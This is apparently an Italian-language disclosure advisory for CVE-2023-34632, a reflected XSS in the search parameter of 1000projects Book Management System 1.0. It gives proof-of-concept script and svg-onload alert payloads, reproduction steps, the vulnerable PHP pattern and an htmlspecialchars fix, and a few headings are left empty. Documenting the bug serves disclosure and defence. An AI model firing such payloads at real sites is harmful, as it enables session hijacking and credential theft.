CVE-2023-34632

XSS riflesso in 1000projects Book Management System 1.0

CVE-2023-34632

Cross-Site Scripting (XSS) riflesso in 1000projects Book Management System 1.0

Descrizione

È stata scoperta una vulnerabilità di Cross-Site Scripting (XSS) riflesso in 1000projects Book Management System versione 1.0. La vulnerabilità è presente nella funzionalità di ricerca (index.php), dove l'input fornito dall'utente tramite il parametro search viene riflesso nella risposta HTTP senza una corretta sanificazione o codifica dell'output.

Un attaccante può creare un URL dannoso contenente codice JavaScript. Quando la vittima fa clic sul link, lo script viene eseguito nel contesto della sessione del browser della vittima, potenzialmente portando a dirottamento della sessione, furto di credenziali o attacchi di phishing.

Prodotto interessato

Dettagli della vulnerabilità

Prova di concetto

Payload

http://localhost/book-management/index.php?search="><script>alert('CVE-2023-34632')</script>

Passaggi per la riproduzione

1. Installare XAMPP/WAMP e distribuire Book Management System 1.0 nella web root
2. Aprire l'applicazione in un browser
3. Inserire il seguente payload nel campo di ricerca (oppure visitare l'URL creato sopra):
   root@kitploit:~

   "><script>alert('CVE-2023-34632')</script>
   

4. Osservare il popup di avviso JavaScript, che conferma la vulnerabilità XSS

Screenshot

Payload alternativi

">

"><svg/onload=alert('CVE-2023-34632')>

Causa principale

Il valore del parametro search viene incorporato direttamente nella risposta HTML senza alcuna sanificazione. Il codice PHP non applica htmlspecialchars() o una codifica dell'output equivalente prima di visualizzare l'input dell'utente.

Schema di codice vulnerabile

// Vulnerabile - l'input dell'utente viene visualizzato direttamente nell'output HTML
$search = $_GET['search'];
echo "Search results for: " . $search;

Rimedio

Applicare una corretta codifica dell'output a tutto l'input fornito dall'utente prima di visualizzarlo nel contesto HTML:

// Corretto - codifica dell'output adeguata
$search = htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8');
echo "Search results for: " . $search;

Impatto

• Dirottamento della sessione — L'attaccante può rubare i cookie di sessione tramite document.cookie
• Furto di credenziali — È possibile iniettare moduli di login falsi per carpire le credenziali degli utenti
• Distribuzione di malware — Le vittime possono essere reindirizzate verso siti web dannosi
• Deturpazione — Il contenuto della pagina può essere manipolato nel browser della vittima

Cronologia

Crediti

Scopritore: Wonkyeom Kim (@ssophiz)

Riferimenti

• 1000projects Book Management System
• CWE-79: Improper Neutralization of Input During Web Page Generation
• OWASP - Cross-Site Scripting (XSS)